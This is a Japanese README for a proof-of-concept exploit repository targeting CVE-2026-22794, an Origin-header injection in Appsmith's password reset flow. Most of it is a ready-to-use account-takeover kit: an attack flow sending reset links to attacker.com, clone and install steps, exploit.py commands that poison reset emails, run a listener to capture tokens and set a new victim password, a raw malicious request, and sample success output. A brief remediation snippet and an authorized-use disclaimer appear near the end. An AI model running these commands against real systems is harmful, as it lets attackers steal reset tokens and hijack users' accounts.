
🔴 CVE-2026-22794 - OriginヘッダーインジェクションによるAppsmithパスワードリセットのアカウント乗っ取り | PoCエクスプロイト + Nucleiテンプレート
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-22794 |
| 影響を受けるソフトウェア | Appsmith(パッチ適用前のバージョン) |
| 脆弱性の種類 | Origin ヘッダーインジェクション |
| 影響 | 完全なアカウント乗っ取り |
| CVSS スコア | 9.1(重大) |
| 攻撃ベクトル | ネットワーク |
| 攻撃の複雑さ | 低 |
| 必要な権限 | なし |
| ユーザー操作 | 必要(被害者がリンクをクリック) |
Appsmith は、HTTP の Origin ヘッダーを検証せずに使用して、パスワードリセットおよびメール検証 URL を構築します。脆弱なコードは、Origin ヘッダーをパスワードリセットのベース URL に直接割り当てます:
userPasswordDTO.setBaseUrl(originHeader);
これにより、攻撃者は以下のことが可能になります:
┌─────────────────────────────────────────────────────────────────┐
│ 攻撃フロー │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 攻撃者 │ │ APPSMITH │ │ 被害者 │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. メールを送信 │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. 被害者がリンクをクリック │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. トークン取得! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. アカウント乗っ取り! ✓ │ │
│ │ │
# リポジトリをクローン
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# 依存関係をインストール
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
パスワードリセットリンク: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] 受信リクエストを取得しました!
[*] パス: /user/resetPassword?token=abc123xyz789...
[!!!] パスワードリセットトークンを取得しました!
[!!!] トークン: abc123xyz789...
[+] アカウント乗っ取りに成功しました!
[+] パスワードがリセットされました: NewP@ssw0rd!
Appsmith を使用している組織は、以下を実施する必要があります:
// ❌ 脆弱なコード
userPasswordDTO.setBaseUrl(originHeader);
// ✅ 安全なコード
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// またはホワイトリストと照合して検証
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # このファイル
├── exploit.py # メインのエクスプロイトスクリプト
├── requirements.txt # Python の依存関係
├── LICENSE # MIT ライセンス
└── docs/
└── technical_analysis.md # 詳細な脆弱性分析
このツールは、許可されたセキュリティテストおよび教育目的のみ で提供されています。
セキュリティ研究者
このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細については LICENSE ファイルを参照してください。
⭐ これが役に立った場合は、リポジトリにスターを付けてください! ⭐